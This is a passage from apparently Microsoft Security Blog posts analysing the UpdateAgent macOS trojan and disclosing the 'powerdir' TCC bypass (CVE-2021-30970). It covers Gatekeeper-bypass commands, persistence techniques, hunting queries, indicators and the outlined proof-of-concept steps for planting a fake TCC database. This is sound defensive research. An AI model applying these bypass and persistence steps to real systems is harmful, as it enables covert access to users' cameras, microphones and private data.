  • March 2021: Upon its third update, the malware altered one of its prior functions to fetch secondary payloads as .zip files instead of .dmg files. The malware’s developer also included two new capabilities: the ability to bypass Gatekeeper by removing the downloaded file’s quarantine attribute and the ability to create a PLIST file that is added to the LaunchAgent folder. The quarantine attribute forces Gatekeeper to block the launch of any file downloaded from the web or other unknown sources, and it also displays a pop-up warning that users cannot open the respective file as “it is from an unidentified developer”. By removing the attribute, the malware both prevented the pop-up message warning users and allowed the files to launch without being blocked by Gatekeeper. Moreover, as the LaunchAgent folder specifies which apps and code automatically run each time a user signs into the machine, adding the malware’s PLIST file allowed it to be included in these automatic launches for persistence upon users signing into the affected device.
  • August 2021: The malware’s fourth update further altered some of its prior capabilities. For one, it expanded its reconnaissance function to scan and collect System_profile and SPHardwaretype information. Additionally, UpdateAgent was changed to create and add PLIST files to the LaunchDaemon folder instead of the LaunchAgent folder. While targeting the LaunchDaemon folder instead of the LaunchAgent folder required administrative privileges, it permitted the malware to inject persistent code that ran as root. This code generally takes the form of background processes that don’t interact with users, thus it also improved the trojan’s evasiveness.
  • October 2021: We detected the latest variants of UpdateAgent just over a year since its release into the wild. Sporting many of the updates found in the August 2021 variant, UpdateAgent still performed system reconnaissance, communicated with the C2 server as heartbeats, and bypassed Gatekeeper. Additionally, the October update expanded the malware’s ability to fetch secondary payloads as both .dmg or .zip files from public cloud infrastructure, rather than choosing between filetypes. Among its new capabilities, UpdateAgent included the ability to enumerate LSQuarantineDataURLString using SQLite in order to validate whether the malware’s downloaded app is within the Quarantine Events database where it would be assigned a quarantine attribute. The upgrade also allowed the malware to leverage existing user profiles to run commands requiring sudo access in addition to the ability to add arguments using PlistBuddy to create and edit PLIST files more easily. Lastly, the trojan included the ability to modify sudoers list, allowing the malware to bypass a prompt requiring high privilege user credentials while running UpdateAgent’s downloaded app.

October 2021 Campaign

In the October 2021 campaign, UpdateAgent included a larger set of sophisticated techniques than ever previously observed. The attackers distributed the trojanized app in .zip or .pkg format, conforming with a campaign observed in early 2021:

The attack chain of the latest UpdateAgent campaign depicts the trojan first arriving by posing as legitimate software and is distributed via drive-by download. Once installed, it then performs reconnaissance and collects system information before leveraging existing user privileges to create folders and elevate permissions. It then downloads Adload adware from public cloud infrastructure and bypasses Gatekeeper by removing the downloaded file's quarantine attribute. UpdateAgent then adds and modifies the PLIST file using PLIST buddy and adds the modified PLIST to created LaunchAgents or LaunchDaemon folder for persistence. The trojan sends heartbeats to the C2 server with the collected information and then covers its tracks by removing the files and folders from the device.
Figure 2. Attack chain of the latest UpdateAgent campaign

Upon analyzing UpdateAgent’s infrastructure, we determined that the infrastructure used in the October 2021 campaign was created at the end of September 2021, and we also discovered additional domains with payloads. This indicates that the trojan is still in the developmental stage and is likely to add or modify its capabilities in future updates and continue its track of improving its overall level of sophistication.

We further observed two separate variants of the UpdateAgent trojan in its October 2021 campaign. Each variant leveraged different tactics to infect a device, as detailed below:

Variant 1

The first variant of UpdateAgent takes the following steps to infect a device:

  1. A .zip file named HelperModule.zip downloads and installs UpdateAgent using a specific file path – /Library/Application Support/xxx/xxx. This .zip file is installed in /Library/Application Support/Helper/HelperModule.
  2. UpdateAgent collects operating system and hardware information about the affected device. Once the compromised device connects to the C2 server, the trojan uses a curl request to send this data to the C2 server.
  3. Upon successful connection, UpdateAgent requests a secondary payload, usually a .dmg or .zip file, which is hosted on a CloudFront instance.
  4. Once the secondary payload downloads, UpdateAgent uses the xattr command – /usr/bin/xattr -rc /tmp/setup.dmg, to remove the quarantine attribute of downloaded files and bypass Gatekeeper controls.
  5. UpdateAgent then extracts the secondary payload (.dmg or .zip). Once the file is mounted, it unzips and copies the payload files to a temporary folder, assigning executable permissions, and launches these files. UpdateAgent also uses PlistBuddy to create PLIST files under the LaunchAgent folder to remain persistent through system restart.
  6. UpdateAgent removes evidence by deleting the secondary payload, temporary folders, PLIST files, and all other downloaded artifacts.

Variant 2

The second variant of UpdateAgent takes the following steps to infect a device:

  1. A third-party WebVideoPlayer application (WebVideoPlayer.pkg) with a post-install script downloads additional apps or .zip files as /Applications/WebVideoPlayer.app/Contents/MacOS/WebVideoPlayer. Notably, this application included a valid certificate that was later revoked by Apple in October 2021.
  2. The application scans the user profile to identify existing user IDs and assigned groups.
  3. The WebVideoPlayer application uses SQLite3 commands to determine if the .pkg file is within the Quarantine Events database, which contains URLs of downloaded files, mail addresses, and subjects for saved attachments.
  4. The .pkg payload extracts and drops UpdateAgent in /Library/Application Support/WebVideoPlayer/WebVideoPlayerAgent.
  5. The WebVideoPlayer application also assigns executable permissions to UpdateAgent and attempts to remove the quarantine attribute of the file using the xattr command to bypass Gatekeeper controls.
  6. The application then launches UpdateAgent and collects and sends the OS information to the attacker’s C2 server. Like the first variant, the second variant sends curl requests that download additional payloads, such as adware, and removes evidence by deleting all files and folders that it created.

Adload adware

UpdateAgent is further characterized by its ability to fetch secondary payloads that can increase the chances of multiple infections on a device, with the latest campaign pushing adware. We first observed UpdateAgent distributing adware as a secondary payload in its October 2021 campaign, identified as part of the Adload adware family by Microsoft Defender Antivirus.

Similar to UpdateAgent, adware is often included in potentially unwanted or malicious software bundles that install the adware alongside impersonated or legitimate copies of free programs. In Adload’s case, we previously observed the adware family targeting macOS users had spread via rogue installers often found on malicious websites.

Once adware is installed, it uses ad injection software and techniques to intercept a device’s online communications and redirect users’ traffic through the adware operators’ servers, injecting advertisements and promotions into webpages and search results. More specifically, Adload leverages a Person-in-The-Middle (PiTM) attack by installing a web proxy to hijack search engine results and inject advertisements into webpages, thereby siphoning ad revenue from official website holders to the adware operators.

Adload is also an unusually persistent strain of adware. It is capable of opening a backdoor to download and install other adware and payloads in addition to harvesting system information that is sent to the attackers’ C2 servers. Considering both UpdateAgent and Adload have the ability to install additional payloads, attackers can leverage either or both of these vectors to potentially deliver more dangerous threats to target systems in future campaigns.

Defending against macOS threats

UpdateAgent’s evolution displays the increasing complexity of threats across platforms. Its developers steadily improved the trojan over the last year, turning a basic information-stealer into a persistent and more sophisticated piece of malware. This threat also exemplifies the trend of common malware increasingly harboring more dangerous threats, a pattern also observed in other platforms. UpdateAgent’s ability to gain access to a device can theoretically be leveraged by attackers to introduce potentially more dangerous payloads, emphasizing the need to identify and block threats such as this.

Defenders can take the following mitigation steps to defend against this threat:

  • Encourage the use of Microsoft Edge—available on macOS and various platforms—or other web browsers that support Microsoft Defender SmartScreen, which identifies and blocks malicious websites, including phishing sites, scam sites, and sites that contain exploits and host malware.
  • Restrict access to privileged resources, such as LaunchDaemons or LaunchAgents folders and sudoers files, through OSX enterprise management solutions. This helps to mitigate common persistence and privilege escalation techniques.
  • Install apps from trusted sources only, such as a software platform’s official app store. Third-party sources may have lax standards for the applications that they host, allowing malicious actors to upload and distribute malware.
  • Run the latest version of your operating systems and applications. Deploy the latest security updates as soon as they become available.

As organizational environments are intricate and heterogenous, running multiple applications, clouds, and devices, they require solutions that can protect across platforms. Microsoft Defender for Endpoint offers cross-platform security and a unified investigation experience that gives customers visibility across all endpoints and enables them to detect, manage, respond, and remediate threats, such as the capability to detect UpdateAgent’s anomalous use of PlistBuddy.

Microsoft Defender for Endpoint customers can apply the following mitigations to reduce the environmental attack surface and mitigate the impact of this threat and its payloads:

  • Turn on cloud-delivered protection and automatic sample submission on Microsoft Defender Antivirus. These capabilities use artificial intelligence and machine learning to quickly identify and stop new and unknown threats. 
  • Enable potentially unwanted application (PUA) protection in block mode to automatically quarantine PUAs like adware. PUA blocking takes effect on endpoint clients after the next signature update or computer restart. PUA blocking takes effect on endpoint clients after the next signature update or computer restart.
  • Turn on network protection to block connections to malicious domains and IP addresses.

Defender for Endpoint’s next-generation protection reinforces network security perimeters and includes antimalware capabilities to catch emerging threats, including UpdateAgent and its secondary payloads, C2 communications, and other malicious artifacts affiliated with the trojan’s reconnaissance activities. Moreover, macOS antimalware detections provide insight into where a threat originated and how the malicious process or activity was created, providing security teams a comprehensive view of incidents and attack chains.

Finally, this research underscores the importance of understanding a macOS threat’s progression to not only remedy its current abilities, but to prepare for increased capabilities and sophistication of the threat. As threats on other OS platforms continue to grow, our security solutions must secure users’ computing experiences be it a Windows or non-Windows machine. By sharing our research and other forms of threat intelligence, collaboration across the larger security community can aid in enriching our protection technologies, regardless of the platform or device in use.

Detection details

Antivirus

Microsoft Defender Antivirus detects threat components and behavior as the following malware:

Endpoint detection and response (EDR)

Alerts with the following titles in the Microsoft 365 Security Center can indicate threat activity within your network:

  • macOS Gatekeeper bypass
  • Executable permission added to file or directory
  • Suspicious database access
  • Suspicious System Hardware Discovery
  • Suspicious binary dropped and launched

Advanced hunting

To locate activity related to UpdateAgent, run the following advanced hunting queries in Microsoft 365 Defender or Microsoft Defender Security Center.

File quarantine attribute

Look for file quarantine attribute removal for the specific packages involved in the campaign. 

DeviceProcessEvents
| where FileName has "xattr" and (ProcessCommandLine has "-rc Library/Application Support/WebVideoPlayer/WebVideoPlayerAgent" or ProcessCommandLine has "-r -d /Library/Application Support/Helper/HelperModule")

Quarantine Event database

Look for quarantine event database enumeration through sqlite3 for the packages involved in the campaign. 

DeviceProcessEvents
| where FileName has "sqlite3" and ProcessCommandLine has "WebVideoPlayer.pkg"

Curl request

Look for UpdateAgent’s  curl requests.

DeviceProcessEvents
| where FileName has "curl" and ProcessCommandLine has "--connect-timeout 900 -L"

Indicators

Files (SHA-256)

  • 1966d64e9a324428dec7b41aca852034cbe615be1179ccb256cf54a3e3e242ee
  • ef23a1870d84e164a4234074251205190a5dfda9f465c8eee6c7e0d6878c2b05
  • 519339e67b1d421d51a0f096e80a57083892bac8bb16c7e4db360bb0fda3cb11
  • cc2f246dda46b17e9302242879788aa114ee64327c8de43ef2b9ab56e8fb57b2
  • 5c1704367332a659f6e10d55d08a3e0ab1bd26aa97654365dc82575356c80502
  • c60e210f73d5335f57f367bd7e166ff4c17f1073fd331370eb63342ab1c82238
  • f01dec606db8f66489660615c777113f9b1180a09db2f5d19fb5bca7ba3c28c7
  • 4f1399e81571a1fa1dc822b468453122f89ac323e489f57487f6b174940e9c2e
  • 9863bc1917af1622fdeebb3bcde3f7bebabcb6ef13eae7b571c8a8784d708d57
  • a1fba0bb0f52f25267c38257545834a70b82dbc98863aee01865a2661f814723
  • 81cfa53222fa473d91e2a7d3a9591470480d17535d49d91a1d4a7836ec943d3a
  • 78b4478cd3f91c42333561abb9b09730a88154084947182b2ec969995b25ad78
  • 91824c6a36ef60881b4f502102b0c068c8a3acd4bceb86eb4ffd1043f7990763
  • 86b45b861a8f0855c97cc38d2be341cc76b4bc1854c0b42bdca573b39da026ac
  • 84ff961552abd742cc2393dde20b7b3b7b2cfb0019c80a02ac24de6d5fcc0db4
  • 0ee6c8fd43c03e8dc7ea081dfa428f22209ed658f4ae358b867de02030cfc69b
  • 443b6173ddfbcc3f19d69f60a1e5d72d68d28b7323fe2953d051b32b4171aa9a
  • 409f1b4aeb598d701f6f0ed3b49378422c860871536425f7835ed671ba4dd908
  • 77f084b5fc81c9c885a9b1683a12224642072f884df9e235b78941a1ad69b80d
  • cbabbbb270350d07444984aa0ce1bb47078370603229a3f03a431d6b7a815820
  • 053fbb833ac1287d21ae96b91d9f5a9cfdd553bc41f9929521d4043e91e96a98
  • 29e3d46867caddde8bb429ca578dd04e5d7112dd730cd69448e5fb54017a2e30
  • 356d429187716b9d5562fe6eee35ea60b252f1845724b0a7b740fbddec73350f
  • a98ecd8f482617670aaa7a5fd892caac2cfd7c3d2abb8e5c93d74c344fc5879c
  • c94760fe237da5786464ec250eadf6f7f687a3e7d1a47e0407811a586c6cb0fc
  • eb71d15308bfcc00f1b80bedbe1c73f1d9e96fd55c86cf420f1f4147f1604f67
  • 0c08992841d5a97e617e72ade0c992f8e8f0abc9265bdca6e09e4a3cb7cb4754
  • 738822e109f1b14413ee4af8d3d5b2219293ea1a387790f207d937ca11590a14
  • 0d9f861fe4910af8299ac3cb109646677049fa9f3188f52065a47e268438b107
  • a586ef06ab8dd6ad1df77b940028becd336a5764caf097103333975a637c51fa
  • 73a465170feed88048dbc0519fbd880aca6809659e011a5a171afd31fa05dc0b
  • d5c808926000bacb67ad2ccc4958b2896ea562f27c0e4fc4d592c5550e39a741
  • 7067e6a69a8f5fdbabfb00d03320cfc2f3584a83304cbeeca7e8edc3d57bbbd4
  • 939cebc99a50989ffbdbb2a6727b914fc9b2382589b4075a9fd3857e99a8c92a
  • c5017798275f054ae96c69f5dd0b378924c6504a70c399279bbf7f33d990d45b
  • 57d46205a5a1a5d6818ecd470b61a44aba0d935f256265f5a26d3ce791038fb4
  • e8d4be891c518898dd3ccdff4809895ed21558d90d415cee868bebdab2da7397
  • 9f1989a04936cd8de9f5f4cb1f5f573c1871b63737b42d18ac4fa337b089cbdc
  • b55c806367946a70d619f25e836b6883a36c9ad22d694a173866b57dfe8b29c9
  • e46b09b270552c7de1311a8b24e3fcc32c8db220c03ca0d8db05e08c76e536f1
  • f9842e31ed16fe0173875c38a41ed3a766041350b4efcd09da62718557ca3033
  • bad5dc1dd6ff19f9fb1af853a8989c1b0fdfeaa4c588443607de03fccf0e21c9

Download URLs

  • hxxps://d35ep4bg5x8d5j[.]cloudfront[.]net/pkg
  • hxxps://d7rp2fva69arq[.]cloudfront[.]net/pkg
  • hxxps://daqi268hfl8ov[.]cloudfront[.]net/pkg
  • hxxps://events[.]optimizerservices[.]com/pkg
  • hxxps://ekogidekinvgwyzmeydw[.]s3[.]amazonaws[.]com/OptimizerProcotolStatus[.]zip
  • hxxps://lnzjvpeyarvvvtljxsws[.]s3[.]amazonaws[.]com/ConsoleSoftwareUpdateAgent[.]zip
  • hxxps://qqirhvehhnvuemxezfxc[.]s3[.]amazonaws[.]com/ModuleAgent[.]zip
  • hxxps://dpqsxofvslaxjaiyjdok[.]s3[.]amazonaws[.]com/ProtocolStatus[.]zip
  • hxxps://oldbrlauserz[.]s3[.]amazonaws[.]com/setup[.]zip
  • hxxps://grxqorfazgqbmzeetpus[.]s3[.]amazonaws[.]com/SetupUpdateAgent[.]zip
  • hxxps://phdhrhdsp[.]s3[.]amazonaws[.]com/setup[.]zip
  • hxxps://xyxeaxtugahkwrcvbzsw[.]s3[.]amazonaws[.]com/BundleAgent[.]zip
  • [.]s3[.]amazonaws[.]com/GuideServices[.]zip
  • hxxps://tnkdcxekehzpnpvimdwquzwzgpehlnwgizrlmzev[.]s3[.]amazonaws[.]com/HelperModule[.]zip
  • hxxps://svapnilpkasjmwtygfstkhsdfrraa[.]s3[.]amazonaws[.]com/WizardUpdate[.]zip

The post The evolution of a Mac trojan: UpdateAgent’s progression appeared first on Microsoft Security Blog.

]]>
New macOS vulnerability, “powerdir,” could lead to unauthorized user data access http://approjects.co.za/?big=en-us/security/blog/2022/01/10/new-macos-vulnerability-powerdir-could-lead-to-unauthorized-user-data-access/ Mon, 10 Jan 2022 17:00:00 +0000 A new macOS vulnerability, “powerdir,” could allow an attacker to bypass the operating system’s TCC technology and gain unauthorized access to a user’s protected data. We shared our findings with Apple through Coordinated Vulnerability Disclosure (CVD) and Apple released a fix.

The post New macOS vulnerability, “powerdir,” could lead to unauthorized user data access appeared first on Microsoft Security Blog.

]]>
Following our discovery of the “Shrootless” vulnerability, Microsoft uncovered a new macOS vulnerability, “powerdir,” that could allow an attacker to bypass the operating system’s Transparency, Consent, and Control (TCC) technology, thereby gaining unauthorized access to a user’s protected data. We shared our findings with Apple through Coordinated Vulnerability Disclosure (CVD) via Microsoft Security Vulnerability Research (MSVR). Apple released a fix for this vulnerability, now identified as CVE-2021-30970, as part of security updates released on December 13, 2021. We encourage macOS users to apply these security updates as soon as possible.

Introduced by Apple in 2012 on macOS Mountain Lion, TCC is essentially designed to help users configure the privacy settings of their apps, such as access to the device’s camera, microphone, or location, as well as access to the user’s calendar or iCloud account, among others. To protect TCC, Apple introduced a feature that prevents unauthorized code execution and enforced a policy that restricts access to TCC to only apps with full disk access. We discovered that it is possible to programmatically change a target user’s home directory and plant a fake TCC database, which stores the consent history of app requests. If exploited on unpatched systems, this vulnerability could allow a malicious actor to potentially orchestrate an attack based on the user’s protected personal data. For example, the attacker could hijack an app installed on the device—or install their own malicious app—and access the microphone to record private conversations or capture screenshots of sensitive information displayed on the user’s screen.

It should be noted that other TCC vulnerabilities were previously reported and subsequently patched before our discovery. It was also through our examination of one of the latest fixes that we came across this bug. In fact, during this research, we had to update our proof-of-concept (POC) exploit because the initial version no longer worked on the latest macOS version, Monterey. This shows that even as macOS or other operating systems and applications become more hardened with each release, software vendors like Apple, security researchers, and the larger security community, need to continuously work together to identify and fix vulnerabilities before attackers can take advantage of them.

Microsoft security researchers continue to monitor the threat landscape to discover new vulnerabilities and attacker techniques that could affect macOS and other non-Windows devices. The discoveries and insights from our research enrich our protection technologies and solutions, such as Microsoft Defender for Endpoint, which allows organizations to gain visibility to their networks that are increasingly becoming heterogeneous. For example, this research informed the generic detection of behavior associated with this vulnerability, enabling Defender for Endpoint to immediately provide visibility and protection against exploits even before the patch is applied. Such visibility also enables organizations to detect, manage, respond to, and remediate vulnerabilities and cross-platform threats faster.

In this blog post, we will share some information about TCC, discuss previously reported vulnerabilities, and present our own unique findings.

TCC overview

As mentioned earlier, TCC is a technology that prevents apps from accessing users’ personal information without their prior consent and knowledge. The user commonly manages it under System Preferences in macOS (System Preferences > Security & Privacy > Privacy):

Screenshot of the Security & Privacy pane on macOS
Figure 1. The macOS Security & Privacy pane that serves as the front end of TCC.

TCC maintains databases that contain consent history for app requests. Generally, when an app requests access to protected user data, one of two things can happen:

  1. If the app and the type of request have a record in the TCC databases, then a flag in the database entry dictates whether to allow or deny the request without automatically and without any user interaction.
  2. If the app and the type of request do not have a record in the TCC databases, then a prompt is presented to the user, who decides whether to grant or deny access. The said decision is backed into the databases so that succeeding similar requests will now fall under the first scenario.

Under the hood, there are two kinds of TCC databases. Each kind maintains only a subset of the request types:

  • User-specific database: contains stored permission types that only apply to the specific user profile; it is saved under ~/Library/Application Support/com.apple.TCC/TCC.db and can be accessed by the user who owns the said profile
  • System-wide database: contains stored permission types that apply on a system level; it is saved under /Library/Application Support/com.apple.TCC/TCC.db and can be accessed by users with root or full disk access

macOS implements the TCC logic by using a special daemon called tccd. Indeed, there are at least two instances of tccd: one run by the user and the other by root.

Screenshot of two tccd instances
Figure 2. Two tccd instances: per-user and system-wide.

Each type of request starts with a kTCCService prefix. While not an exhaustive list, below are some examples:

Request typeDescriptionHandled by
kTCCServiceLiverpoolLocation services accessUser-specific TCC database
kTCCServiceUbiquityiCloud accessUser-specific TCC database
kTCCServiceSystemPolicyDesktopFolderDesktop folder accessUser-specific TCC database
kTCCServiceCalendarCalendar accessUser-specific TCC database
kTCCServiceRemindersAccess to remindersUser-specific TCC database
kTCCServiceMicrophoneMicrophone accessUser-specific TCC database
kTCCServiceCameraCamera accessUser-specific TCC database
kTCCServiceSystemPolicyAllFilesFull disk access capabilitiesSystem-wide TCC database
kTCCServiceScreenCaptureScreen capture capabilitiesSystem-wide TCC database
Table 1. Types of TCC requests.

It should also be noted that the TCC.db file is a SQLITE database, so if a full disk access is granted to a user, they can view the database and even edit it:

Screenshot of TCC.db access table dump
Figure 3. Dumping the TCC.db access table, given a full disk access.

The database columns are self-explanatory, save for the csreq column. The csreq values contain a hexadecimal blob that encodes the code signing requirements for the app. These values can be calculated easily with the codesign and csreq utilities, as seen in Figure 4 below:

Screenshot of building the csreq blob
Figure 4. Building the csreq blob manually for an arbitrary app.

Given these, should a malicious actor gain full disk access to the TCC databases, they could edit it to grant arbitrary permissions to any app they choose, including their own malicious app. The affected user would also not be prompted to allow or deny the said permissions, thus allowing the app to run with configurations they may not have known or consented to.

Securing (and bypassing) TCC: Techniques and previously reported vulnerabilities

Previously, apps could access the TCC databases directly to view and even modify their contents. Given the risk of bypass mentioned earlier, Apple made two changes. First, Apple protected the system-wide TCC.db via System Integrity Protection (SIP), a macOS feature that prevents unauthorized code execution. Secondly, Apple enforced a TCC policy that only apps with full disk access can access the TCC.db files. Note, though, that this policy was also subsequently abused as some apps required such access to function properly (for example, the SSH daemon, sshd).

Interestingly, attackers can still find out whether a user’s Terminal has full disk access by simply trying to list the files under /Library/Application Support/com.apple.TCC. A successful attempt means that the Terminal has full disk access capabilities, and an attacker can, therefore, freely modify the user’s TCC.db.

In addition, there have been several previously reported vulnerabilities related to TCC bypass. These include the following:

  • Time Machine mounts (CVE-2020-9771): macOS offers a built-in backup and restore solution called Time Machine. It was discovered that Time Machine backups could be mounted (using the apfs_mount utility) with the “noowners” flag. Since these backups contain the TCC.db files, an attacker could mount those backups and determine the device’s TCC policy without having full disk access.
  • Environment variable poisoning (CVE-2020-9934): It was discovered that the user’s tccd could build the path to the TCC.db file by expanding $HOME/Library/Application Support/com.apple.TCC/TCC.db. Since the user could manipulate the $HOME environment variable (as introduced to tccd by launchd), an attacker could plant a chosen TCC.db file in an arbitrary path, poison the $HOME environment variable, and make TCC.db consume that file instead.
  • Bundle conclusion issue (CVE-2021-30713): First disclosed by Jamf in a blog post about the XCSSET malware family, this bug abused how macOS was deducing app bundle information. For example, suppose an attacker knows of a specific app that commonly has microphone access. In that case, they could plant their application code in the target app’s bundle and “inherit” its TCC capabilities.

Apple has since patched these vulnerabilities. However, based on our research, the potential bypass to TCC.db can still occur. The following section discusses the vulnerability we discovered and some details about the POC exploits we developed to prove the said vulnerability.

Modifying the home directory: The ‘powerdir’ vulnerability

In assessing the previous TCC vulnerabilities, we evaluated how Apple fixed each issue. One fix that caught our attention was for CVE-2020-9934 (the $HOME environment variable poisoning vulnerability). The fix can be seen in the _db_open function in tccd:

Screenshot of the tccd fix for CVE-2020-9934
Figure 5. The tccd fix for CVE-2020-9934.

We noted that instead of expanding the $HOME environment variable, Apple decided to invoke getpwuid() on the current user (retrieved with getuid()). First, the getpwuid function retrieves a structure in memory (struct password*) that contains information about the given user. Then, tccd extracts the pwdir member from it. This pwdir member includes the user’s home directory, and its value persists even after the $HOME environment variable is modified.

While the solution indeed prevents an attack by environment variable poisoning, it does not protect against the core issue. Thus, we set out to investigate: can an app programmatically change the user’s home directory and plant a fake TCC.db file?

The first POC exploit

Our first attempt to answer the above question was simple: plant a fake TCC.db file and change the home directory using the Directory Services command-line utility (dscl):

While requiring root access, we discovered that this works only if the app is granted with the TCC policy kTCCServiceSystemPolicySysAdminFiles, which the local or user-specific TCC.db maintains. That is weaker than having full disk access, but we managed to bypass that restriction with the dsexport and dsimport utilities.

Next, simply by exporting the Directory Services entry of a user, manipulating the output file, and importing the file again, we managed to bypass the dscl TCC policy restriction.

Our first POC exploit, therefore, does the following:

  1. Get a csreq blob for the target app.
  2. Plant a fake TCC.db file with required access and the csreq blob.
  3. Export the user’s Directory Services entry with dsexport.
  4. Modify the Directory Services entry to change the user’s home directory.
  5. Import the modified Directory Services entry with dsimport.
  6. Stop the user’s tccd and reboot the process.

Using this exploit, an attacker could change settings on any application. In the screenshot below, we show how the exploit could allow attackers to enable microphone and camera access on any app, for example, Teams.

Screenshot of the working exploit
Figure 6. Our first working POC exploit working without a popup notification from TCC.

We reported our initial findings to the Apple product security team on July 15, 2021, before becoming aware of a similar bypass presented by Wojciech Reguła and Csaba Fitzl at BlackHat USA 2021 in August. However, our exploit still worked even after Apple fixed the said similar finding (now assigned as CVE-2020-27937). Therefore, we still considered our research to be a new vulnerability.

Monterey release and the second POC exploit

We shared our findings to Apple through Coordinated Vulnerability Disclosure (CVD) via Microsoft Security Vulnerability Research (MSVR) before the release of macOS Monterey in October. However, upon the release of the said version, we noticed that our initial POC exploit no longer worked because of the changes made in how the dsimport tool works. Thus, we looked for another way of changing the home directory silently.

While examining macOS Monterey, we came across /usr/libexec/configd, an Apple binary shipped with the said latest macOS release that is a System Configuration daemon responsible for many configuration aspects of the local system. There are three aspects of configd that we took note and made use of:

  1. It is an Apple-signed binary entitled with “com.apple.private.tcc.allow” with the value kTCCServiceSystemPolicySysAdminFiles. This means it can change the home directory silently.
  2. It has extensibility in configuration agents, which are macOS Bundles under the hood. This hints that it might load a custom Bundle, meaning we could inject code for our purposes.
  3. It does not have the hardened runtime flag to load custom configuration agents. While this aspect is most likely by design, it also means we could load completely unsigned code into it.

By running configd with the -t option, an attacker could specify a custom Bundle to load. Therefore, our new POC exploit replaces the dsexport and dsimport method of changing the user’s home directory with a configd code injection. This results in the same outcome as our first POC exploit, which allows the modification of settings to grant, for example, any app like Teams, to access the camera, among other services.

As before, we shared our latest findings with Apple. Again, we want to thank their product security team for their cooperation.

Detecting the powerdir vulnerability with Microsoft Defender for Endpoint

Our research on the powerdir vulnerability is yet another example of the tight race between software vendors and malicious actors: that despite the continued efforts of the former to secure their applications through regular updates, other vulnerabilities will inevitably be uncovered, which the latter could exploit for their own gain. And as system vulnerabilities are possible entry points for attackers to infiltrate an organization’s network, comprehensive protection is needed to allow security teams to manage vulnerabilities and threats across all platforms.

Microsoft Defender for Endpoint is an industry-leading, cloud-powered endpoint security solution that lets organizations manage their heterogeneous computing environments through a unified security console. Its threat and vulnerability management capabilities empower defenders to quickly discover, prioritize, and remediate misconfigurations and vulnerabilities, such as the powerdir vulnerability. In addition, Defender for Endpoint’s unparalleled threat optics are built on the industry’s deepest threat intelligence and backed by world-class security experts who continuously monitor the threat landscape.

One of the key strengths of Defender for Endpoint is its ability to generically detect and recognize malicious behavior. For example, as seen in the previous section, our POC exploits conduct many suspicious activities, including:

  • Dropping a new TCC.db file with an appropriate directory structure
  • Killing an existing tccd instance
  • Suspicious Directory Services invocations such as dsimport and dsexport

By generically detecting behavior associated with CVE-2020-9934 (that is, dropping a new TCC.db file fires an alert), Defender for Endpoint immediately provided protection against these exploits before the powerdir vulnerability was patched. This is a testament of Defender for Endpoint’s capabilities: with strong, intelligent generalization, it will detect similar bypass vulnerabilities discovered in the future.

Screenshot of Microsoft Defender for Endpoint alert for potential TCC bypass
Figure 7. Microsoft Defender for Endpoint detecting potential TCC bypass.

Learn how Microsoft Defender for Endpoint delivers a complete endpoint security solution across all platforms.

Jonathan Bar Or

Microsoft 365 Defender Research Team

The post New macOS vulnerability, “powerdir,” could lead to unauthorized user data access appeared first on Microsoft Security Blog.

]]>